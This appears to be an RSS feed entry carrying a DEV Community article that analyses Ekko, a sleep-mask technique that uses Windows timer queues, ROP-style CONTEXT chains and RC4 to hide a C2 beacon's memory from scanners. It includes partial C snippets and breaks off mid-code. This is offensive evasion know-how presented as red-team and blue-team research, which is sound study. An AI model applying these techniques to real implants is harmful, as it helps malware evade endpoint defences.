<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: aliangbo</title>
    <description>The latest articles on DEV Community by aliangbo (@aliangbo).</description>
    <link>https://dev.to/aliangbo</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4112989%2Fedbdcefc-5433-469c-86f5-adea6a1e8355.png</url>
      <title>DEV Community: aliangbo</title>
      <link>https://dev.to/aliangbo</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/aliangbo"/>
    <language>en</language>
    <item>
      <title>Sleep Mask in Red Team vs. Blue Team Engagements (Part 1): A Deep Dive into Ekko's Timer-Based Obfuscation</title>
      <dc:creator>aliangbo</dc:creator>
      <pubDate>Sat, 19 Sep 2026 15:00:54 +0000</pubDate>
      <link>https://dev.to/aliangbo/sleep-mask-in-red-team-vs-blue-team-engagements-part-1-a-deep-dive-into-ekkos-timer-based-382e</link>
      <guid>https://dev.to/aliangbo/sleep-mask-in-red-team-vs-blue-team-engagements-part-1-a-deep-dive-into-ekkos-timer-based-382e</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series Note&lt;/strong&gt;: This is the first article in the "Sleep Mask in Red Team vs. Blue Team Engagements" series, focusing on the classic open-source implementation, Ekko. Subsequent articles will cover additional Sleep Obfuscation variants, along with detection and countermeasure techniques.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Abstract&lt;/strong&gt;: In red team vs. blue team engagements, a C2 framework's Beacon retains a complete payload image in its process memory while it sleeps and waits for tasking, making it highly susceptible to detection by defenders' memory scans. The Sleep Mask (sleep obfuscation) technique emerged to address this problem: its core idea is to encrypt or obfuscate the in-memory payload before the Beacon sleeps and to restore it once the Beacon wakes. Using the classic open-source implementation Ekko as a starting point, this article provides an in-depth analysis of Sleep Obfuscation based on the Windows Timer Queue and ROP chains.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  1. Background: Why Is Sleep Mask Needed?
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1.1 The C2 Beacon Lifecycle
&lt;/h3&gt;

&lt;p&gt;A typical C2 (Command &amp;amp; Control) Beacon operates in the following cycle:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Start] → [Connect to C2] → [Get Tasking] → [Execute Task] → [Sleep/Wait] → [Connect to C2] → ...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;During the "sleep/wait" phase, the Beacon usually calls system APIs such as &lt;code&gt;Sleep()&lt;/code&gt; or &lt;code&gt;WaitForSingleObject()&lt;/code&gt; to pause execution. However, the following remain fully intact in its process memory:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Beacon's code section (.text) and data section (.data)&lt;/li&gt;
&lt;li&gt;Loaded module images (PE headers, import tables, etc.)&lt;/li&gt;
&lt;li&gt;Sensitive data written during task execution (keys, credentials, shellcode, etc.)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  1.2 The Threat of Memory Scanning
&lt;/h3&gt;

&lt;p&gt;Defenders (blue teams, EDR products, and security researchers) can scan the Beacon's process memory while it sleeps, using methods such as:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Scanning Method&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Signature Scanning&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Matching YARA rules against process memory to find known Beacon signatures&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;PE Structure Detection&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Detecting anomalous PE images in memory (e.g., executable images with no corresponding file on disk)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Entropy Analysis&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;High-entropy memory regions may indicate encrypted or packed content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Behavioral Correlation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Correlating thread behavior (periodic wake-ups) with memory characteristics to reach a detection verdict&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  1.3 Limitations of Traditional Approaches
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Approach&lt;/th&gt;
&lt;th&gt;Limitation&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Manually calling &lt;code&gt;VirtualProtect&lt;/code&gt; + manual encryption&lt;/td&gt;
&lt;td&gt;At the instant the encryption/decryption code executes, a plaintext Beacon image still exists in memory, leaving a race window that memory scanners can exploit&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Using &lt;code&gt;NtProtectVirtualMemory&lt;/code&gt; to directly modify page protection&lt;/td&gt;
&lt;td&gt;The call is conspicuous and is easily intercepted by API hooking&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Writing the Beacon to a file and then deleting it&lt;/td&gt;
&lt;td&gt;Disk I/O leaves forensic artifacts&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Core dilemma&lt;/strong&gt;: The Beacon must run its encryption/decryption logic using its own code, so that code is necessarily plaintext at the moment encryption or decryption runs. If the Beacon's memory image could be rendered completely unreadable throughout the entire sleep window between encryption and decryption, memory scanning could be countered to the greatest possible extent.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Core Idea of Sleep Mask
&lt;/h2&gt;

&lt;p&gt;The ideal Sleep Mask execution flow is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Beacon running normally
       │
       ▼
┌──────────────────────────────────────┐
│ 1. Set page protection to RW         │  (VirtualProtect → PAGE_READWRITE)
│ 2. Encrypt the Beacon image          │  (RC4 / XOR / other symmetric ciphers)
│ 3. Perform the sleep                 │  (Sleep / WaitForSingleObject)
│    Memory now contains ciphertext    │
│ 4. Decrypt the Beacon image          │  (Reverse operation with the same key)
│ 5. Restore page protection to RX     │  (VirtualProtect → PAGE_EXECUTE_READWRITE)
└──────────────────────────────────────┘
       │
       ▼
Beacon continues execution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key challenge&lt;/strong&gt;: Steps 1-2 and 4-5 must themselves be executed by the Beacon's plaintext code. How can the Beacon be "safely" woken up and its image decrypted after encryption?&lt;/p&gt;

&lt;p&gt;This is precisely where Ekko's elegance lies.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Ekko: Timer Queue-Based Sleep Obfuscation
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 Technique Origins
&lt;/h3&gt;

&lt;p&gt;The Ekko technique was originally discovered by &lt;strong&gt;Peter Winter-Smith&lt;/strong&gt; and deployed in &lt;strong&gt;MDSec's Nighthawk&lt;/strong&gt; C2 framework; it was later publicly analyzed by &lt;strong&gt;Austin Hudson (@SecIdiot)&lt;/strong&gt; in his research. Ekko is the open-source PoC implementation of the technique, written by &lt;strong&gt;C5pider&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Core Design Philosophy
&lt;/h3&gt;

&lt;p&gt;Ekko's central insight: &lt;strong&gt;By leveraging the Windows Timer Queue mechanism, the system's timer thread can automatically execute a pre-orchestrated ROP chain while the encrypted Beacon "sleeps," performing decryption and protection restoration on its behalf — thereby working around the unavailability of the Beacon's own code.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Specifically:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;While the Beacon is still in plaintext form&lt;/strong&gt;, a set of &lt;code&gt;CONTEXT&lt;/code&gt; structures (the ROP chain) is pre-built, each describing a single function call&lt;/li&gt;
&lt;li&gt;These ROP chains are registered as timer callbacks via &lt;code&gt;CreateTimerQueueTimer&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The Beacon image is then encrypted, and the Beacon enters its sleep phase&lt;/li&gt;
&lt;li&gt;During the sleep, the Windows thread pool's timer thread fires these callbacks in sequence at their scheduled times&lt;/li&gt;
&lt;li&gt;The callbacks restore the &lt;code&gt;CONTEXT&lt;/code&gt; via the &lt;code&gt;NtContinue&lt;/code&gt; system call, thereby executing &lt;code&gt;VirtualProtect&lt;/code&gt;, &lt;code&gt;SystemFunction032&lt;/code&gt; (RC4), &lt;code&gt;WaitForSingleObject&lt;/code&gt;, and other functions&lt;/li&gt;
&lt;li&gt;Finally, the Beacon image is decrypted, its page protection is restored, and the main thread is woken up&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  3.3 Key APIs and Data Structures
&lt;/h3&gt;

&lt;h4&gt;
  
  
  3.3.1 Timer Queue API
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Create a timer queue&lt;/span&gt;
&lt;span class="n"&gt;HANDLE&lt;/span&gt; &lt;span class="nf"&gt;CreateTimerQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Create a timer in the queue; when it expires, the callback runs on a thread pool thread&lt;/span&gt;
&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="nf"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;PHANDLE&lt;/span&gt;             &lt;span class="n"&gt;phNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;HANDLE&lt;/span&gt;              &lt;span class="n"&gt;TimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;WAITORTIMERCALLBACK&lt;/span&gt; &lt;span class="n"&gt;Callback&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;// Callback function pointer&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;               &lt;span class="n"&gt;Parameter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// Parameter passed to the callback&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;               &lt;span class="n"&gt;DueTime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;     &lt;span class="c1"&gt;// Delay before the first firing (milliseconds)&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;               &lt;span class="n"&gt;Period&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;      &lt;span class="c1"&gt;// Period (0 = one-shot)&lt;/span&gt;
    &lt;span class="n"&gt;ULONG&lt;/span&gt;               &lt;span class="n"&gt;Flags&lt;/span&gt;        &lt;span class="c1"&gt;// WT_EXECUTEINTIMERTHREAD, etc.&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When &lt;code&gt;Callback&lt;/code&gt; is &lt;code&gt;RtlCaptureContext&lt;/code&gt; or &lt;code&gt;NtContinue&lt;/code&gt;, &lt;code&gt;Parameter&lt;/code&gt; is interpreted as a &lt;code&gt;CONTEXT*&lt;/code&gt; (output) or a &lt;code&gt;CONTEXT*&lt;/code&gt; (input), respectively.&lt;/p&gt;

&lt;h4&gt;
  
  
  3.3.2 NtContinue
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;NTSTATUS&lt;/span&gt; &lt;span class="nf"&gt;NtContinue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;HANDLE&lt;/span&gt;    &lt;span class="n"&gt;ThreadContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;   &lt;span class="c1"&gt;// Pointer to a CONTEXT structure&lt;/span&gt;
    &lt;span class="n"&gt;BOOLEAN&lt;/span&gt;   &lt;span class="n"&gt;RaiseAlert&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;NtContinue&lt;/code&gt; is a low-level system call used to restore a thread's context. Ekko uses it to "execute" a pre-built &lt;code&gt;CONTEXT&lt;/code&gt; structure — which is equivalent to performing an arbitrary function call on the target thread.&lt;/p&gt;

&lt;h4&gt;
  
  
  3.3.3 SystemFunction032 (RC4)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Exported by Advapi32.dll; this is actually an RC4 encryption/decryption function&lt;/span&gt;
&lt;span class="n"&gt;NTSTATUS&lt;/span&gt; &lt;span class="nf"&gt;SystemFunction032&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="n"&gt;USTRING&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;    &lt;span class="c1"&gt;// Data to encrypt/decrypt&lt;/span&gt;
    &lt;span class="n"&gt;USTRING&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;Key&lt;/span&gt;      &lt;span class="c1"&gt;// Key&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;SystemFunction032&lt;/code&gt; is an RC4 implementation exported internally by Windows. Because RC4 is a symmetric cipher, encryption and decryption are the same operation — applying the same RC4 operation twice to the same data restores the original. Ekko exploits this property, calling the same function in both the encryption and decryption phases.&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;USTRING&lt;/code&gt; structure is defined as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;Length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;DWORD&lt;/span&gt;   &lt;span class="n"&gt;MaximumLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="n"&gt;PVOID&lt;/span&gt;   &lt;span class="n"&gt;Buffer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;USTRING&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.4 Execution Flow in Detail
&lt;/h3&gt;

&lt;p&gt;Below is Ekko's complete execution flow, divided into the &lt;strong&gt;preparation phase&lt;/strong&gt; and the &lt;strong&gt;obfuscation phase&lt;/strong&gt;:&lt;/p&gt;

&lt;h4&gt;
  
  
  Preparation Phase (Beacon in Plaintext)
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────────────────────────────────────┐
│ 1. Obtain the current process image base (ImageBase)         │
│    and image size (ImageSize)                                │
│ 2. Create the Event and the TimerQueue                       │
│ 3. Resolve the addresses of key functions:                   │
│    - NtContinue  (Ntdll)                                     │
│    - SystemFunction032 (Advapi32)                            │
│    - VirtualProtect (Kernel32)                               │
│    - WaitForSingleObject / SetEvent                          │
│ 4. Prepare the RC4 key (16 bytes)                            │
│ 5. Capture the current thread context with                   │
│    RtlCaptureContext                                         │
│    (via a 0 ms timer callback on the Timer Queue)            │
└──────────────────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Building the ROP Chain (6 CONTEXT Structures)
&lt;/h4&gt;

&lt;p&gt;Using the captured thread context as a template, Ekko builds 6 &lt;code&gt;CONTEXT&lt;/code&gt; structures, each representing one function call:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Name&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RopProtRW&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Set the Beacon image's page protection to &lt;code&gt;PAGE_READWRITE&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VirtualProtect(ImageBase, ImageSize, PAGE_READWRITE, &amp;amp;OldProtect)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RopMemEnc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Encrypt the Beacon image with RC4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SystemFunction032(&amp;amp;Img, &amp;amp;Key)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RopDelay&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Perform the actual sleep&lt;/td&gt;
&lt;td&gt;&lt;code&gt;WaitForSingleObject(NtCurrentProcess(), SleepTime)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RopMemDec&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Decrypt the Beacon image with RC4&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SystemFunction032(&amp;amp;Img, &amp;amp;Key)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RopProtRX&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Restore page protection to &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;&lt;code&gt;VirtualProtect(ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &amp;amp;OldProtect)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;&lt;code&gt;RopSetEvt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Signal the event to wake the main thread&lt;/td&gt;
&lt;td&gt;&lt;code&gt;SetEvent(hEvent)&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Key field assignments for each CONTEXT:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Using RopProtRW as an example&lt;/span&gt;
&lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rsp&lt;/span&gt;  &lt;span class="o"&gt;-=&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;               &lt;span class="c1"&gt;// Move the stack pointer down to emulate the return-address slot a ret instruction would land on&lt;/span&gt;
&lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rip&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;VirtualProtect&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Set the instruction pointer to the target function&lt;/span&gt;
&lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rcx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImageBase&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="c1"&gt;// Arg 1: image base&lt;/span&gt;
&lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Rdx&lt;/span&gt;   &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ImageSize&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;       &lt;span class="c1"&gt;// Arg 2: image size&lt;/span&gt;
&lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;R8&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;PAGE_READWRITE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  &lt;span class="c1"&gt;// Arg 3: new protection&lt;/span&gt;
&lt;span class="n"&gt;RopProtRW&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;R9&lt;/span&gt;    &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;OldProtect&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;     &lt;span class="c1"&gt;// Arg 4: receives the old protection&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: The purpose of &lt;code&gt;Rsp -= 8&lt;/code&gt; is to prepare a valid return-address slot for the &lt;code&gt;ret&lt;/code&gt; instruction when &lt;code&gt;NtContinue&lt;/code&gt; returns. Since &lt;code&gt;Period&lt;/code&gt; is 0 (one-shot), the timer thread exits normally after the callback completes, so the return address does not need to point to valid code.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h4&gt;
  
  
  Obfuscation Phase (Timer-Triggered)
&lt;/h4&gt;

&lt;p&gt;The 6 timers are registered on the Timer Queue with increasing &lt;code&gt;DueTime&lt;/code&gt; values:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Timeline (ms)   0     100    200    300    400    500    600
                │      │      │      │      │      │      │
                │  ProtRW MemEnc Delay MemDec ProtRX SetEvt
                │  (to RW) (enc)  (sleep)(dec)  (to RWX)(wake)
                │
                ▼
            Main thread waits on the Event
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Key detail&lt;/strong&gt;: All timer callbacks use the &lt;code&gt;WT_EXECUTEINTIMERTHREAD&lt;/code&gt; flag, ensuring these callbacks are invoked on the &lt;strong&gt;timer thread&lt;/strong&gt; instead of the main thread. This means:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The main thread can safely call &lt;code&gt;WaitForSingleObject(hEvent, INFINITE)&lt;/code&gt; and go to sleep&lt;/li&gt;
&lt;li&gt;Encryption, decryption, and page protection changes are performed on its behalf by the timer thread&lt;/li&gt;
&lt;li&gt;During the sleep (step 3), both the main thread's stack frames and its code section are ciphertext, so memory scans cannot identify Beacon signatures&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4. Technical Principle Diagrams
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Memory State Transitions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Time        Memory State         Description
────────────────────────────────────────────────────────
T0          [Plaintext Beacon]   Preparation: build the ROP chain
T1 (100ms)  [Plaintext Beacon]   VirtualProtect → RW (must be writable so the ciphertext can be written back)
T2 (200ms)  [Ciphertext Beacon]  RC4 encryption complete; no identifiable signatures in memory
T3 (300ms)  [Ciphertext Beacon]  Main thread sleeping; the timer thread is also waiting
T4 (400ms)  [Ciphertext Beacon]  RC4 decryption; plaintext restored
T5 (500ms)  [Plaintext Beacon]   VirtualProtect → RWX (executability restored)
T6 (600ms)  [Plaintext Beacon]   SetEvent wakes the main thread
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  4.2 Thread Interaction Model
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────┐     ┌───────────────────────────────┐
│     Main Thread      │     │  Timer Queue Timer Thread     │
│                      │     │                               │
│  Build CONTEXTs      │     │                               │
│  Register 6 timers   │     │                               │
│                      │     │                               │
│  Wait(hEvent, INF) ──┼────►│  T+100ms: VirtualProtect(RW)  │
│  [main thread sleeps]│     │  T+200ms: RC4 encrypt         │
│  [memory ciphertext] │     │  T+300ms: WaitForSingleObject │
│  [invisible]         │     │  T+400ms: RC4 decrypt         │
│                      │     │  T+500ms: VirtualProtect(RWX) │
│                      │◄─────┼  T+600ms: SetEvent           │
│  Woken up; resumes   │     │                               │
└──────────────────────┘     └───────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  5. Key Code Analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  5.1 Obtaining Image Information
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;ImageBase&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;GetModuleHandleA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="nb"&gt;NULL&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;ImageSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PIMAGE_NT_HEADERS&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;ImageBase&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
    &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;PIMAGE_DOS_HEADER&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;ImageBase&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;e_lfanew&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; 
    &lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;OptionalHeader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SizeOfImage&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ekko obtains the image base and size by parsing the PE header of the current process's main module. &lt;code&gt;GetModuleHandleA(NULL)&lt;/code&gt; returns the base address of the current process's executable.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 Context Capture
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="n"&gt;CreateTimerQueueTimer&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;hNewTimer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hTimerQueue&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;RtlCaptureContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
